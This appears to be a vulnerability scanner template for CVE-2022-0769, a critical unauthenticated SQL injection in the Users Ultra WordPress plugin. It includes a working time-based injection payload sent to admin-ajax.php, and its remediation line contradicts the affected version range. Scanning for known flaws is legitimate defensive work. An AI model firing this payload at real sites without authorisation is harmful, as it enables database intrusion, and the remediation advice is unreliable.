The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.
PoC代码[已公开]
id: CVE-2022-0769
info:
name: Users Ultra <= 3.1.0 - SQL Injection
author: theamanrawat
severity: critical
description: |
The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
remediation: |
Update to Users Ultra version 3.1.0 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/05eab45d-ebe9-440f-b9c3-73ec40ef1141
- https://wordpress.org/plugins/users-ultra/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0769
- https://github.com/ARPSyndicate/cvemon
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0769
cwe-id: CWE-89
epss-score: 0.78496
epss-percentile: 0.99002
cpe: cpe:2.3:a:usersultra:users_ultra:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: usersultra
product: users_ultra
framework: wordpress
tags: time-based-sqli,cve,cve2022,wp,users-ultra,wpscan,sqli,wordpress,wp-plugin,usersultra
http:
- raw:
- |
@timeout: 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "You have to be logged in to leave your rate")'
condition: and
# digest: 490a0046304402206cb5f3af45d5fac371cd07a941a11af0d0bb5ff3774437e13fc3718c24984a3f022004dabaf17683954f5e0853ea195497dd5a81ddc82d7173d64bc9177bdc68888a:922c64590222798bb761d5b6d8e72950